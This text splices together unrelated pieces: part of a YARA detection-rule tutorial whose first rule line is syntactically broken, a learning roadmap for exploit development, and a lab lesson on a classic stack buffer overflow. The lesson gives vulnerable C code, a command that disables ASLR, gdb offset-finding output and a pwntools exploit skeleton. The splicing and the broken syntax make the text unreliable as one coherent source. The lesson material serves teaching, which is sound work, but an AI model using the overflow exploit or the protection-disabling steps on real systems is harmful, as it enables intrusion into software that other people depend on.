for in in (0..#hex): (@hex[i]+5 == “cyber” or @hex[i]+10 == “defenses” or @hex[i]+15 == “Alienvault”).

The logic above, like the previous rule, could care less about its target – it can be anything. The rule only cares about finding matches to the logic expressed, in this case in an iterative fashion starting with the first match to the hex string and end with the last.

Containers are exactly what they sound like, where an element is contained within a bounding box you describe. Here, we might look for our previously defined $hex string but only within a custom defined location, like between it and another element, say $string_start and $string_finish. The logic would be $hex in (@string_start..@string_finish). Or, not in that range, such as $hex not in (@string_start..string_@finish).

Figure 1 YARA Bounding Box example

Some other useful techniques are counting, location, and procession, or the order of elements appearing. Counting is what is sounds like and leverages the count of some element as part of its logic and it can be equal, not equal, greater than, less than, etc. Location is using where the element appears in the file as a means of detection. It’s like the previously mentioned proximity and containment techniques, except it aligns to the file instead of a custom container. Procession is the order of the elements, and the elements searched might be text, let’s say, such as:

$a = “cyberdefenses” and $b = “SIEM” and $c = “Alienvault”

The appearance is mathematical, as in asking for a pattern of where $a < $b < $c or any other combination, such as $b < $a > $c and so forth.

YARA Modules

Sets of YARA Rules

While we tend to focus on the rules individually, they are meant to be used in sets and a rule set might contain, 1, 10 or 1000 or even more rules strung along in a sequence. It’s when you understand the concept of leveraging sets that you truly start harnessing YARA’s power. Rules are read from top to bottom in a rule set. Each will resolve completely before moving to the next so you can incorporate the results of an earlier rule into one that follows. Not just singly, but in any number. Any number of resolved rules can be repurposed into the conditional logic of a rule that follows. In fact, below is an example of where a rule was written to discover portable executable (PE) files with a specific import hash value, a specific section containing the entry point and then specific strings. Note, the use of “import pe”, which tells YARA that we are using the PE module and how the second rule “drops” the strings section and only uses logic to define a condition.

import "pe"

rule interesting_strings_1

{

strings:

$ = { 98 05 00 00 06 }

$ = "360saf" nocase

$ = "linkbl.gif"

$ = "mailadword"

condition:

any of them

}

rule par_import

{

condition:

interesting_strings_1 and pe.imphash() == "87421be9519ab6eb9bdd8d2f318ff35f"

}

rule Poss_polymorphic_malware

{

condition:

par_import and (pe.sections[pe.section_index(pe.entry_point)].name contains "" or pe.sections[pe.section_index(pe.entry_point)].name contains "p")

}

As I’m hinting, rule sets mean you can re-use logic and follow the principle of “write once, use often”. They also mean you can form a chain of inheritance, where rules can inherit the results of another and apply that in their logic. It also means modular construction, especially since YARA supports importing, so you can abstract your logic into multiple rulesets and import them in on an as needed basis. When it comes to juggling large volumes of rules in rule sets, that becomes an invaluable management and Quality assurance tool.

Why use YARA?

YARA seems simple, and it is, but YARA is very versatile in application. I could expound all day on its capability but its seems unfair to do so without touching on how its employed.

Perhaps the simplest use case to describe is its play in the reverse engineering world. If you Reverse Engineer malware and don’t leverage it, you are missing out on a fast win to speed your process. To match a file by its attributes, to classify groups of files into families, identify algorithms, find code caves, code stomping, and more are all easy applications.

Incident response? No problem. At some point, you start parsing files to understand how they align to the event that spawned the response. That’s when YARA comes into play, either to play a role like it would with malware that might be present or to fast search and find elements of interest.

If you gather file intelligence of any kind or maintain a lab that interrogates files of interest, then YARA can be a chief workhorse in the process. It can detect and identify by any attribute of a file, including those left by the compiler, the composer or cracker. With the right logic, like we previously discussed, the structure, as well as the containment and order of elements in a file become valid bundles of intelligence to be harvested.

The previous examples are pretty standalone instances but YARA also shines as a support and follow on tool, as well. Do you send files to a sandbox? If so, it can enrich the outcome and understanding gained from detonating the file in the sandbox. The same applies if you use it in your email filter, to triage phishing, in your SIEM, which, speaking of, Alienvault supports.

Conclusion

What is Exploit Development?

As usual within the security industry, the terms are made up and no one uses them consistently. Exploit development as it is used here is about the development of scripts or programs that can take advantage of (exploit) memory corruption vulnerabilities in software.

This is opposed to exploits that might take advantage of higher-level vulnerabilities such as those seen in general application security such as web-applications or mobile applications.

Prerequisites

There are three things you need to know before getting started.

The C programming language. The thing about learning C is not that you're going to have to do a lot of programming in it, but rather in learning C you also gain a mental model of how software works. C doesn't attempt to hide most of the memory management from you, neither does it do magic like garbage collection in the background. It's important if you're going to learn about exploiting memory corruption vulnerabilities that you understand how software uses memory.

There is a really good blog post by Evan Millar You Can't Dig Upwards which is a defense of learning C as your first language. While I don't necessarily agree, he does an excellent job of describing why learning C matters, and how it enables you to understand the layers of abstraction in most software.

As a general rule of thumb, when you want to attack anything, the first step is to understand how it works.

An assembly language. This is a tricky one that newcomers sometimes take the wrong path on. You don't need to be able to program in assembly, and you shouldn't follow tutorials for programmers about writing assembly. Programmers can make use of compilers and assemblers to turn their hand-written assembly code into machine language (the code understood by the CPU). This gives access to things like named variables and labels, fake instructions, and other high-level concepts that are not reflected in the machine code.

What's more important is the ability to read what I'd call "raw" assembly. That is, take some compiled instructions, run them through a disassembler and read those instructions. This may be strange at first as you won't have the high-level type information and constructs you're used to, but it's important to understand what the CPU executes under the hood.

The most important concepts to understand for exploiting memory corruption issues are:

• Registers and how they are used

• Calling conventions for functions and syscalls

• Memory segmentation

• How high-level types translate to raw bytes. In assembly, there are no special "types", as it's all just bytes in memory or registers

Basic Linux Usage. Just get comfortable using a Linux terminal, a lot of the resources recommended here will involve Linux.

Environment

The classic question is what operating system to use. The truth is that it doesn't matter, use what you are comfortable with. You should learn to be comfortable with a Linux terminal, but for your host system don't worry about it.

This is a bit of a pet peeve of mine, but you don't gain much by starting on your target platform. A lot of the generic concepts apply no matter what operating system you're targeting. You start by learning your fundamentals and then you learn specific applications that are operating system specific. The idea of a write-primitive isn't unique to just Linux or Android exploitation, but what you actually write to turn your write-primitive into say a local privileges escalation will be OS-dependent. You can learn about various code-reuse attacks like return-oriented programming, the basic idea of which doesn't change, but you'll utilize it differently depending on the OS.

With that in mind, many of the resources that will be recommended are Linux-focused. There are a handful of reasons for that, from the ease of sharing a consistent Linux environment for training to the lack of smaller mitigations that exist on other platforms. Trust me, you'll have no problem transferring knowledge from one operating system to another.

Getting Started

Exploit Education - Nebula

In Nebula you are learning to think like an attacker and do research. This box isn't actually about exploit development, but more general application security. I like recommending it though because it forces you to start doing some research on topics you might not be familiar with to determine what the vulnerability being showcased is. It gives you enough information to get started. While this might feel annoying, this ability to research and digest information about a new topic is a huge part of exploit development. I spend more time reading documentation and other write-ups than I do writing exploit code. The ability to do research and persevere is immensely important.

You will find yourself going down dead-ends, doing research that doesn't pan out, thinking you're wasting hours of time, and that's okay. You need to learn to embrace that frustration as it's a key part of exploitation. Every dead end you go down doesn't help you immediately, but as you keep doing it you're building up a huge personal knowledge base that you'll eventually start drawing on as time goes on. Learn to enjoy the rabbit holes and don't worry about the wasted time.

Open Security Training - Introduction to Software Exploitation

Update (July 2022): Over the last year, as I've recommended resources, I've come to realize that a lot of bit-rot has occured with the OST course above. While I believe the content top-notch and it strikes a really good balance for beginners. Its quite a hassle to run the VM and work along with the course. So I've started recommending more segments from Pwn.College. While I don't entirely like the flow of pwn.college it has two huge benefits going for it. It has a ton of labs to practice on for every topic, and all the labs can be completed from within your browser inside its provided workspace. Making it far more accessible and usable than the OST course.

Introduction to Software Exploitation is a lab-driven course by Corey Kallenberg. As such, the labs are useful for learning fundamental concepts when it comes to exploitation, so when the labs come up in the videos, don't skip them, pause and do them yourself.

There are a few basic concepts that this course covers:

• Shellcoding and Calling conventions

• Buffer Overflows (stack and heap)

• Arbitrary Write (format string attack)

Don't worry about the fact it uses a pretty old Linux distro, you're not going to be pulling off most of these attacks as they are in the course today. But the basic idea of a write-primitive, or overflowing a buffer and overwriting nearby data is still relevant.

Pwn College

This is a lab driven course from Arizona State University. It is a proper undergraduate course and taught by Zardus (Yan Shoshitaishvili) and kanak (Connor Nelson). You've got lectures on their Youtube channel, while the class is running, the classes are streamed live on Twitch, and the discord server is active. They've also been updating the course every year, so by the time you read it, it might be slightly different. As a course it is not quite a drop-in for the topics covered by the OST course it "replaces" here. The core topics to learn here would be:

• Assembly and Shellcoding

• Interacting with Software

• Debugging

• Memory Errors

While the entire course is valuable, you can consider stopping once the course gets into the topic of "Return Oriented Programming" (ROP) and doing the next couple of resources. Then returning to this course afterwards to learn ROP and some of the more advanced topics. The OST course assumes some basic knowledge of heap exploitation which isn't covered up to this point in Pwn College (its covered after ROP) but may be useful to know for some of the next resources.

Also, at least in 2020 and 2021 the course had a ton of repetitive feeling labs. There is some benefit to the repetition which I think is what they are going for, framing it kinda like a martial art and practicing the concepts, but don't feel too pressured to keep going on one topic if its getting really tedious and boring.

Exploit Education - Phoenix

Now you're going to take the concepts you learned in the previous course and put them into practice a bit. You should start with the 32bit x86 version of Phoenix. Then move onto 64bit exploits on the AMD64 version of Phoenix.

Many of the challenges will be largely the same, but you'll start getting exposed to the differences between 32bit and 64bit x86 exploitation. There are some fundamental problems you'll run into. Again this will involve some of your own research as you learn about those differences.

Bypassing Exploit Mitigations

So the type of exploitation covered so far is essentially the stuff we did in the early 2000s. Since that time, several exploit mitigations have been introduced. Three Four of which have attained significant popularity:

• Stack Canaries/Cookies - This blocks you from overwriting the stored return address on the stack by placing a canary value on the stack before the saved return address. This canary is checked before returning and if it's modified then the program dies.

• Data Execution Prevention (No-eXecute Bit) - In the previous sections, you wrote shellcode into memory and then jumped to it to get code execution. This is no longer possible on modern systems due to Data Execution Prevention, also known as DEP or NX. This mitigation ensures that a page can be Writable but not eXecutable, or eXecutable and not Writable.

• Address Space Layout Randomization (ASLR) - Previously when you wrote your shellcode into memory you could do so in a roughly consistent location. Now the address space gets randomized, so even if you can control the program control flow, you don't know where direct it to.

• Position Independent Executables/Code (PIE/PIC) - ASLR can easily randomize the location of some memory segments like the stack and heap. Moving segments containing code around requires that code be compiled as position independent. For awhile this left significant room for attackers to bypass ASLR simply by reusing code in shared libraries or within the main executable which wouldn't be randomized. Now almost all shared libraries will be compiled as PIC which severely reduces that attack surface, and sensitive executables such as those exposed on the network will be compiled with PIE.

Pwn College - Module: Memory Errors

Update (July 2022) - If you did Pwn College instead of OST then you should have already done this section and can go right on to the next resource :D

Pwn College is an awesome resource for more modern exploitation. In particular, I'm linking just a few of the lectures that cover dealing with some common mitigations. This module in particular you can probably skip the first three lectures. But the following lectures linked on the page are worth checking out:

• Causes of Corruption 1 and 2

• Stack Canary Mitigations

• ASLR Mitigations

• Causes of Disclosure

• Shellcoding: Data Execution Prevention

If you're motivated there is a ton more content in pwn college to check out too.

Exploit Education - Fusion

Now that you've got a bit more knowledge about mitigations, it's time to put that into practice also. The Fusion box is also going to get you doing a bit more reverse engineering and testing for vulnerabilities than you had to do for Nebula or Phoenix. Its also going to introduce all of the above mitigations for you to play around with.

ROP Emporium

This is what I would consider the last of the beginner concepts, return-oriented programming (ROP). ROP is a very common exploitation technique, most exploits today tend to utilize ROP at some stage in the chain.

You'll probably find it easier to work through ROP Emporium on 32bit but do go back and do it on 64bit because things do change substantially with the different calling conventions.

Weird machines

Weird machines also touches on ROP, but it focuses more on how to think about ROP. It is more of a meta-topic I guess. A lot of recent exploit write-ups tend to talk about exploitation in terms of gadgets and primitives being obtained, but these terms won't be familiar to you if you're new to ROP. It's a bit of a mental shift away from talking about the specific exploit technique, so you need to familiarize yourself with it. You might just naturally get it, but I wanted to should out a couple of videos from LiveOverflow where he explains the concept:

• https://www.youtube.com/watch?v=8Dcj19KGKWM

• https://www.youtube.com/watch?v=zaQVNM3or7k

This is a tricky concept to explain, but you'll start to understand it intuitively with experience. There is a solid paper on the topic of weird machines and exploitability which is also an interesting read.

• Weird Machines, Exploitability, and Provable Unexploitability

Nightmare

So Nightmare has a ton of challenges for you to practice on. In particular, I want to call out the Heap Exploitation section. While heap exploitation is one of those areas that is particular to each operating system (and each heap implementation). I think there is significant value in learning about the ptmalloc2 allocator and its attacks. You might not find yourself using them, but at least for me, Malloc des-Maleficarum was a huge eye-opener for the creativity and art of exploitation.

What you gain by running through the heap exploitation is less about memorizing all the different techniques that have been found to attack ptmalloc but more just a sense of how you can creatively apply control of certain pieces of data. So I'd highly recommend running through the heap challenges on nightmare.

Final Notes

At this point, you have a lot of the basic concepts that you'll need to start looking at modern exploits, and hopefully the research skill to start discovering what you don't yet know you don't know.

We do plan to put out another part to this post covering how to bridge the gap from these CTFs and toy binaries to real-world exploitation soon.

For now, I'll just say that one of the biggest mistakes I see people make is they wait until they feel ready. Don't wait, just dive in and learn as you go. This is especially important when it comes to the process of discovering vulnerabilities (which I haven't touched on at all here) as a big part of that is building an intuition which just takes time.

The course is designed as a continuation of the Windows Exploit Development workshops by the people at Exploit Development Intro and some pre-requisite knowledge is expected of the following topics:

1. An Understanding of x86-64 Assembly

2. Familiarity with GDB

3. Familiarity with C and Python

4. Familiarity with the Standard Jump to Shellcode Exploits

Please do view this 15 minute 'Introduction to Return Oriented Programming' video as a refresher. If you have time, please go through the lesson plan for the video.

Linux Binary Protections

There are three classes of protection we will be discussing in this section.

1. No eXecute Bit

2. Address Space Layout Randomisation

3. Stack Canaries

We will discuss this using visualisations of how a classic exploitation technique attempt is stopped by the properties of each of the protections.

Classic Exploitation Illustration

First let's visualise how the stack looks like before a buffer is read into:

For clarification, the value of the saved base pointer is 0xbfff0030 and the value of the return address is 0x080484f0 (an address within the binary). The numbers are reversed in the visualisation because x86 is a little endian architecture.

On a valid run of the program, the buffer is filled within its bounds. Here we have 15 As and a null byte written to the 16 length buffer.

However, since the read allows for the program to read more than 16 bytes into the buffer, we can overflow it and overwrite the saved return pointer.

When the function returns, the program will crash since the instruction pointer is set to 0x41414141, an invalid address.

To complete the technique, the attacker will fill the first part of the buffer with the shellcode, append the appropriate padding and overwrite the saved return pointer with the address of the buffer.

Now, when the function returns, the program will begin executing the shellcode contained in the buffer since the saved return pointer was overwritten by the buffer address (0xbfff0000). From this point onwards, the attacker has achieved arbitrary code execution.

ASLR, NX, and Stack Canaries

Now that we understand how the classic exploitation technique works, let us start introducing protections and observing how they prevent the technique from working.

No eXecute (NX)

Also known as Data Execution Prevention (DEP), this protection marks writable regions of memory as non-executable. This prevents the processor from executing in these marked regions of memory.

If we look at the memory map of a program compiled with NX protection, the stack and heap are typically marked non-executable.

In the following diagrams, we will be introducing a new indicator colour for the memory regions to denote 'writable and non-executable' mapped regions. Firstly, the stack before the read occurs looks like this:

When we perform the same attack, the buffer is overrun and the saved pointers are overwritten once again.

After the function returns, the program will set the instruction pointer to 0xbfff0000 and attempt to execute the instructions at that address. However, since the region of memory mapped at that address has no execution permissions, the program will crash.

Thus, the attacker's exploit is thwarted.

Address Space Layout Randomisation

This protection randomises the addresses of the memory regions where the shared libraries, stack, and heap are mapped at. The reason for this is to frustrate an attacker since they cannot predict with certainty where their payload is located at and the exploit will not work reliably.

On the first run of the program, the stack looks like this just before the read:

If we terminate the program and run it again, the stack might look like this before the read:

Notice how the stack addresses do not stay constant and now have their base values randomised. Now, the attacker attempts to re-use their payload from the classic technique.

Notice that the saved return pointer is overwritten with a pointer into the stack at an unknown location where the data is unknown and non-user controlled. When the function returns, the program will begin executing unknown instructions at that address (0xbfff0000) and will most likely crash.

Thus, it is impossible for an attacker to be able to reliably trigger the exploit using the standard payload.

Stack Canaries

This protection places a randomised guard value after a stack frame's local variables and before the saved return address. When a function returns, this guard value is checked and if it differs from the value provided by a secure source, then the program is terminated.

In the following stack diagram, an additional stack canary is added right after the buffer. The valid value of this stack canary is 0x01efcdab.

Now, the attacker attempts their exploit with the standard payload again. The stack diagram looks like this after the read:

Notice that the stack canary has been overwritten and corrupted by the padding of 'A's (0x41). The value of the canary is now 0x41414141. Before the function returns, the canary is xored against the value of the 'master' canary. If the result is 0, implying equality, then the function is allowed to return. Otherwise, the program terminates itself. In this case, the program fails the check, prints a warning message, and exits.

Thus, the attacker is not even able to redirect control flow and the exploit fails.

Classic Exploitation Technique

Let us revisit the classical technique of exploiting a stack overflow on a binary with no protections enabled and ASLR turned off. We will do a demonstration on a binary compiled from the following source code:

#include <unistd.h>
#include <stdio.h>

void vuln() {
    char buffer[16];
    read(0, buffer, 100);
    puts(buffer);
}

int main() {
    vuln();
}

The binary was compiled with the following flags:

gcc -m32 -fno-stack-protector -zexecstack -o ./build/1_vulnerable ./src/1_vulnerable.c

Before running the binary, disable ASLR with the command:

ubuntu@ubuntu-xenial:/vagrant$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
0

Verify that ASLR is indeed turned off.

ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$ ldd ./1_vulnerable
	linux-gate.so.1 =>  (0xf7ffd000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e39000)
	/lib/ld-linux.so.2 (0x56555000)
ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$ ldd ./1_vulnerable
	linux-gate.so.1 =>  (0xf7ffd000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e39000)
	/lib/ld-linux.so.2 (0x56555000)
ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$ ldd ./1_vulnerable
	linux-gate.so.1 =>  (0xf7ffd000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e39000)
	/lib/ld-linux.so.2 (0x56555000)
ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$

Also, all protections are off.

ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$ checksec ./1_vulnerable
[*] '/vagrant/lessons/4_classic_exploitation/build/1_vulnerable'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE

The binary is simple. It reads 100 bytes from stdin into a 16 byte character buffer and prints the contents of the buffer to the user. On a benign execution, the behaviour might look like this:

ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$ ./1_vulnerable
Hello
Hello

ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$

It is very easy to get the binary to crash.

ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$ ./1_vulnerable
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
��P���
Segmentation fault (core dumped)
ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$

Let's delve into GDB to get the offset we need to place our return address at to control EIP.

ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$ gdb ./1_vulnerable
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./1_vulnerable...(no debugging symbols found)...done.
gdb-peda$ pattern_create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Starting program: /vagrant/lessons/4_classic_exploitation/build/1_vulnerable
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

Program received signal SIGSEGV, Segmentation fault.

 [----------------------------------registers-----------------------------------]
EAX: 0x65 ('e')
EBX: 0x0
ECX: 0xffffffff
EDX: 0xf7fc8870 --> 0x0
ESI: 0xf7fc7000 --> 0x1b1db0
EDI: 0xf7fc7000 --> 0x1b1db0
EBP: 0x44414128 ('(AAD')
ESP: 0xffffd5f0 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
EIP: 0x413b4141 ('AA;A')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x413b4141
[------------------------------------stack-------------------------------------]
0000| 0xffffd5f0 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0004| 0xffffd5f4 ("EAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0xffffd5f8 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0012| 0xffffd5fc ("AFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0016| 0xffffd600 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0020| 0xffffd604 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0xffffd608 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0028| 0xffffd60c ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x413b4141 in ?? ()
gdb-peda$ pattern_offset 0x413b4141
1094402369 found at offset: 28
gdb-peda$

We can begin writing a skeleton for our exploit.

#!/usr/bin/python

from pwn import *

def main():
    # Start a process
    p = process("../build/1_vulnerable")

    # Create payload
    ret_address = 0x41424344
    payload = "A"*28 + p32(ret_address)
    payload = payload.ljust(100, "\x00")

    # Print the process id
    raw_input(str(p.proc.pid))

    # Send the payload to the binary
    p.send(payload)

    # Pass interaction back to the user
    p.interactive()

if __name__ == "__main__":
    main()

If we run this and attach to the spawned process, we can verify that the program will crash on the address 0x41424344.

gdb-peda$ attach 9639
Attaching to process 9639
Reading symbols from /vagrant/lessons/4_classic_exploitation/build/1_vulnerable...(no debugging symbols found)...done.
Reading symbols from /lib/i386-linux-gnu/libc.so.6...(no debugging symbols found)...done.
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
gdb-peda$ c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x21 ('!')
EBX: 0x0
ECX: 0xffffffff
EDX: 0xf7fc8870 --> 0x0
ESI: 0xf7fc7000 --> 0x1b1db0
EDI: 0xf7fc7000 --> 0x1b1db0
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd640 --> 0x0
EIP: 0x41424344 ('DCBA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41424344
[------------------------------------stack-------------------------------------]
0000| 0xffffd640 --> 0x0
0004| 0xffffd644 --> 0x0
0008| 0xffffd648 --> 0x0
0012| 0xffffd64c --> 0x0
0016| 0xffffd650 --> 0x0
0020| 0xffffd654 --> 0x0
0024| 0xffffd658 --> 0x0
0028| 0xffffd65c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41424344 in ?? ()
gdb-peda$

Next, we need to figure out where should we direct execution to. This would probably be somewhere in the buffer we write to with the read() call. If we break on the call to puts(), we can get a stack address we can use as the argument.

gdb-peda$ disas vuln
Dump of assembler code for function vuln:
   0x0804843b <+0>:	push   ebp
   0x0804843c <+1>:	mov    ebp,esp
   0x0804843e <+3>:	sub    esp,0x18
   0x08048441 <+6>:	sub    esp,0x4
   0x08048444 <+9>:	push   0x64
   0x08048446 <+11>:	lea    eax,[ebp-0x18]
   0x08048449 <+14>:	push   eax
   0x0804844a <+15>:	push   0x0
   0x0804844c <+17>:	call   0x8048300 <read@plt>
   0x08048451 <+22>:	add    esp,0x10
   0x08048454 <+25>:	sub    esp,0xc
   0x08048457 <+28>:	lea    eax,[ebp-0x18]
   0x0804845a <+31>:	push   eax
   0x0804845b <+32>:	call   0x8048310 <puts@plt>
   0x08048460 <+37>:	add    esp,0x10
   0x08048463 <+40>:	nop
   0x08048464 <+41>:	leave
   0x08048465 <+42>:	ret
End of assembler dump.
gdb-peda$ del
gdb-peda$ br *0x0804845b
Breakpoint 2 at 0x804845b
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0xffffd5f0 ('A' <repeats 28 times>, "DCBA")
EBX: 0x0
ECX: 0xffffd5f0 ('A' <repeats 28 times>, "DCBA")
EDX: 0x64 ('d')
ESI: 0xf7fc7000 --> 0x1b1db0
EDI: 0xf7fc7000 --> 0x1b1db0
EBP: 0xffffd608 ("AAAADCBA")
ESP: 0xffffd5e0 --> 0xffffd5f0 ('A' <repeats 28 times>, "DCBA")
EIP: 0x804845b (<vuln+32>:	call   0x8048310 <puts@plt>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048454 <vuln+25>:	sub    esp,0xc
   0x8048457 <vuln+28>:	lea    eax,[ebp-0x18]
   0x804845a <vuln+31>:	push   eax
=> 0x804845b <vuln+32>:	call   0x8048310 <puts@plt>
   0x8048460 <vuln+37>:	add    esp,0x10
   0x8048463 <vuln+40>:	nop
   0x8048464 <vuln+41>:	leave
   0x8048465 <vuln+42>:	ret
Guessed arguments:
arg[0]: 0xffffd5f0 ('A' <repeats 28 times>, "DCBA")
[------------------------------------stack-------------------------------------]
0000| 0xffffd5e0 --> 0xffffd5f0 ('A' <repeats 28 times>, "DCBA")
0004| 0xffffd5e4 --> 0xffffd5f0 ('A' <repeats 28 times>, "DCBA")
0008| 0xffffd5e8 --> 0x64 ('d')
0012| 0xffffd5ec --> 0xf7e2d0ec (test   eax,eax)
0016| 0xffffd5f0 ('A' <repeats 28 times>, "DCBA")
0020| 0xffffd5f4 ('A' <repeats 24 times>, "DCBA")
0024| 0xffffd5f8 ('A' <repeats 20 times>, "DCBA")
0028| 0xffffd5fc ('A' <repeats 16 times>, "DCBA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Thread 1 "1_vulnerable" hit Breakpoint 2, 0x0804845b in vuln ()
gdb-peda$

0xffffd5f0 is the start of buffer the user input is read into. A good place to jump to would be (0xffffd5f0 + 28 + 4). This lets us put our shellcode right after the return address. To begin with, we can test out strategy by filling that space with 'int 3' instructions (0xcc).